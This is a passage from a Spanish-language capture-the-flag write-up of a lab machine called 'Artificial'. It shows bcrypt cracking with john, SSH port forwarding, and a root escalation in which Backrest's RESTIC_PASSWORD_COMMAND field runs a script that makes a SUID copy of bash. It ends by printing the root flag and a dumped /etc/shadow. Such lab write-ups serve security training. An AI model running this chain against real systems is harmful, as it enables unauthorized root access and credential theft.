gael@artificial:/dev/shm/backrest$ echo JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP | base64 -d ; echo
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO
gael@artificial:/dev/shm/backrest$

Cracking the Hash

Ejecutamos john con el wordlist rockyou.txt sobre el archivo de hash.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
❯ john hash --wordlist=$ROCK
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^           (?)     
1g 0:00:00:23 DONE (2025-06-21 14:06) 0.04334g/s 234.0p/s 234.0c/s 234.0C/s baby16..huevos
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Local Port Forwarding

Obtuvimos localmente el puerto 9898 por medio de SSH realizando Local PortForwarding.

1
ssh gael@artificial.htb -fN -L 9898:0.0.0.0:9898

Se observa el puerto localmente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
❯ ssh gael@artificial.htb -fN -L 9898:0.0.0.0:9898
gael@artificial.htb's password: 
❯ netstat -ntpl
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:8000            0.0.0.0:*               LISTEN      49209/python        
tcp        0      0 127.0.0.1:9898          0.0.0.0:*               LISTEN      60702/ssh           
tcp6       0      0 ::1:9898                :::*                    LISTEN      60702/ssh           
tcp6       0      0 127.0.0.1:8080          :::*                    LISTEN      2004/java           
tcp6       0      0 127.0.0.1:33539         :::*                    LISTEN      2004/java           

Backrest - Command Execution

Ingresamos al dashboard con las credenciales encontradas.

image

Siguiendo la documentacion de restic rellenamos el formulario para la creacion de un nuevo repositorio.

image

Una de las variables de entorno especifica:

Configuring a program to be called when the password is needed via the option –password-command or the environment variable RESTIC_PASSWORD_COMMAND

Esto permitiria ejecutar un comando especificado dentro de esta variable como root.

Creamos un script que realiza la copia de bash con permisos SUID.

1
2
3
4
5
6
gael@artificial:/dev/shm$ nano script.sh
gael@artificial:/dev/shm$ chmod +x script.sh 
gael@artificial:/dev/shm$ cat script.sh 
#!/bin/bash
cp /bin/bash /bin/sc ; chmod u+s /bin/sc
gael@artificial:/dev/shm$

Especificamos el script dentro de la variable RESTIC_PASSWORD_COMMAND.

image

1
RESTIC_PASSWORD_COMMAND=/dev/shm/script.sh

Realizamos un Test Configuration, se muestra un mensaje “exitoso”.

image

Shell

Por otro lado observamos que la copia fue exitosa y tras ejecutar bash como privilegiada (flag -p) logramos el acceso como root.

1
2
3
4
5
6
gael@artificial:/dev/shm$ file /bin/sc
/bin/sc: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2a9f157890930ced4c3ad0e74fc1b1b84aad71e6, for GNU/Linux 3.2.0, stripped
gael@artificial:/dev/shm$ /bin/sc -p
sc-5.0# id
uid=1000(gael) gid=1000(gael) euid=0(root) groups=1000(gael),1007(sysadm)
sc-5.0#

Finalmente la flag root.txt.

1
2
3
4
sc-5.0# cd /root
sc-5.0# cat root.txt
f9e4990b18ceca2607db6556f2b2e473
sc-5.0#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
sc-5.0# cat /etc/shadow
root:$6$UUrrHE6LTPdhmLil$v9nJaHljuUC0gR5HBAqVWvnDVgYoNYE6EvjIEGNykwadZ8w8gOu212j5bipzK72.nBtx/0h4z4CPki/Ac2f1i1:20015:0:99999:7:::
daemon:*:19430:0:99999:7:::
bin:*:19430:0:99999:7:::
sys:*:19430:0:99999:7:::
sync:*:19430:0:99999:7:::
games:*:19430:0:99999:7:::
man:*:19430:0:99999:7:::
lp:*:19430:0:99999:7:::
mail:*:19430:0:99999:7:::
news:*:19430:0:99999:7:::
uucp:*:19430:0:99999:7:::
proxy:*:19430:0:99999:7:::
www-data:*:19430:0:99999:7:::
backup:*:19430:0:99999:7:::
list:*:19430:0:99999:7:::
irc:*:19430:0:99999:7:::
gnats:*:19430:0:99999:7:::
nobody:*:19430:0:99999:7:::
systemd-network:*:19430:0:99999:7:::
systemd-resolve:*:19430:0:99999:7:::
systemd-timesync:*:19430:0:99999:7:::
messagebus:*:19430:0:99999:7:::
syslog:*:19430:0:99999:7:::
_apt:*:19430:0:99999:7:::
tss:*:19430:0:99999:7:::
uuidd:*:19430:0:99999:7:::
tcpdump:*:19430:0:99999:7:::
landscape:*:19430:0:99999:7:::
pollinate:*:19430:0:99999:7:::
fwupd-refresh:*:19430:0:99999:7:::
usbmux:*:19971:0:99999:7:::
sshd:*:19971:0:99999:7:::
systemd-coredump:!!:19973::::::
gael:$6$ZgkOwXDgoK.yOfv9$7gGQcVFbMepHAPCW.qS/1z87V5p15x4RokWKwNvFXqwo3QLEfFx2GaJs1JqbZ81i/uLy7bJ8TYk4dQYXQpeEC0:20015:0:99999:7:::
lxd:!:19973::::::
app:$6$1CKnP41b8QhfYnAx$b88.zZJfVQ84SBkePAyzIsXdA/w6wvUVq4c2ExOho0RIY8iS43bdJbBPHYdttqqNvBV.H6noc2EFkdBlbb5WL.:20015:0:99999:7:::
mysql:!:19975:0:99999:7:::
_laurel:!:20248::::::
sc-5.0#
Share on

Dany Sucuc
WRITTEN BY
sckull